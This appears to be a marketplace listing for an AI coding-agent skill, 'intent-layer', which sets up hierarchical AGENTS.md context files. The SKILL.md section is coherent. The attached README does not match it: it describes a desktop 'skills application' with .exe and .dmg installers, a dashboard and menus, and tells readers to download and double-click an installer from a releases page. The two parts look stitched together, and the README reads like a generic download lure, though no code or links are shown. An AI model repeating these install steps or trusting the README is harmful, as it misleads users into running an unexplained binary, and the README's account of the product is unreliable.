intent-layer

by @Bobxsszef in AI & LLM

# Install this skill:

npx skills add Bobxsszef/skills

Or install specific skill: npx add-skill https://github.com/Bobxsszef/skills/tree/main/context-engineering/intent-layer

# Description

# SKILL.md

name: intent-layer
description: >
Set up hierarchical Intent Layer (AGENTS.md files) for codebases.
Use when initializing a new project, adding context infrastructure to an existing repo,
user asks to set up AGENTS.md, add intent layer, make agents understand the codebase,
or scaffolding AI-friendly project documentation.

Intent Layer

Hierarchical AGENTS.md infrastructure so agents navigate codebases like senior engineers.

Core Principle

Only ONE root context file. CLAUDE.md and AGENTS.md should NOT coexist at project root. Child AGENTS.md in subdirectories are encouraged for complex subsystems.

Workflow

1. Detect state
   scripts/detect_state.sh /path/to/project
   → Returns: none | partial | complete

2. Route
   none/partial → Initial setup (steps 3-5)
   complete     → Maintenance (step 6)

3. Measure [gate - show table first]
   scripts/analyze_structure.sh /path/to/project
   scripts/estimate_tokens.sh /path/to/each/source/dir

4. Decide
   No root file  → Ask: CLAUDE.md or AGENTS.md?
   Has root file → Add Intent Layer section + child nodes if needed

5. Execute
   Use references/templates.md for structure
   Use references/node-examples.md for real-world patterns
   Validate: one root, READ-FIRST directive, <4k tokens per node

6. Maintenance mode (when state=complete)
   Ask user:
   a) Audit nodes     → Use references/capture-protocol.md for SME questions
   b) Find candidates → Re-measure tokens, suggest new nodes
   c) Both

When to Create Child Nodes

Signal	Action
>20k tokens in directory	Create AGENTS.md
Responsibility shift	Create AGENTS.md
Hidden contracts/invariants	Document in nearest ancestor
Cross-cutting concern	Place at LCA

Do NOT create for: every directory, simple utilities, test folders (unless complex).

Capture Questions

When documenting existing code, ask:
1. What does this area own? What's out of scope?
2. What invariants must never be violated?
3. What repeatedly confuses new engineers?
4. What patterns should always be followed?

Resources

Scripts:
- scripts/detect_state.sh - Check Intent Layer state (none/partial/complete)
- scripts/analyze_structure.sh - Find semantic boundaries
- scripts/estimate_tokens.sh - Measure directory complexity

References:
- references/templates.md - Root and child node templates
- references/node-examples.md - Real-world examples
- references/capture-protocol.md - SME interview protocol

# README.md

🎉 skills - Unlock Agent Skills with Ease

📥 Download Now

🚀 Getting Started

Welcome to the skills application. This software helps you leverage agent skills focused on context engineering. Follow the simple steps below to download and run the application.

🔍 System Requirements

Before you start, ensure your system meets the following requirements:

Operating System: Windows 10 or later, MacOS Mojave or later, or a compatible Linux distribution.
RAM: At least 4 GB available.
Disk Space: Minimum of 100 MB free space.
Internet Connection: Required for initial download.

📥 Download & Install

Visit the Releases Page: To get the latest version of the skills application, visit this page to download.
Choose the Latest Release: On the releases page, you’ll see a list of available versions. Look for the topmost version, which is usually the newest.
Download the Installer: Find the installer file suitable for your operating system. It typically ends in .exe for Windows, .dmg for Mac, or a compressed file for Linux. Click on the link to start the download.
Run the Installer:
Once the download finishes, locate the file in your downloads folder.
Double-click the file to start the installation process.
Follow the on-screen instructions. Most of the time, you can simply click "Next" and "Install."
Launch the Application: After installation, you will find the skills application in your start menu, applications folder, or desktop. Double-click the icon to launch it.

🛠️ Features

The skills application comes packed with features designed to help you effectively utilize agent skills. Here are some highlights:

User-Friendly Interface: Navigate easily with a clean and intuitive design.
Context Engineering Tools: Access various tools tailored for context management.
Performance Insights: Get valuable insights to improve agent performance.
Customizable Settings: Adjust preferences to fit your workflow.

📖 How to Use

Open the Application: After launching, you'll see the main dashboard.
Explore Features: Familiarize yourself with the navigation menu on the left. You can access different tools and settings from here.
Create a New Project: Click on “New Project” to start working on context engineering tasks.
Input Data: Enter the necessary information as prompted. The application may guide you with helpful tips.
Save Your Work: Remember to save your work frequently using the “Save” option in the top menu.

❓ FAQ

Q: What if I encounter issues while installing?
A: Check our troubleshooting section in the application's help menu or refer to online forums for solutions.

Q: Is there a user manual?
A: Yes, a user manual is available within the application. Look for the "Help" section for more information.

Q: How do I report bugs or issues?
A: If you discover any bugs, please visit the Issues section of our GitHub repository to report them.

🌐 Support

If you need further assistance, feel free to contact our support team via email or through our GitHub Issues page. We are here to help you.

🔗 Useful Links

Enjoy using the skills application to enhance your agent skills!

# Supported AI Coding Agents

This skill is compatible with the SKILL.md standard and works with all major AI coding agents:

⚡ Amp 🚀 Antigravity 🤖 Claude Code 🦀 Clawdbot 📝 Codex ▶️ Cursor 🤖 Droid 💎 Gemini CLI 🐙 GitHub Copilot 🪿 Goose 📊 Kilo Code 🔧 Kiro CLI 💻 OpenCode 🦘 Roo Code 🌲 Trae 🏄 Windsurf

Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.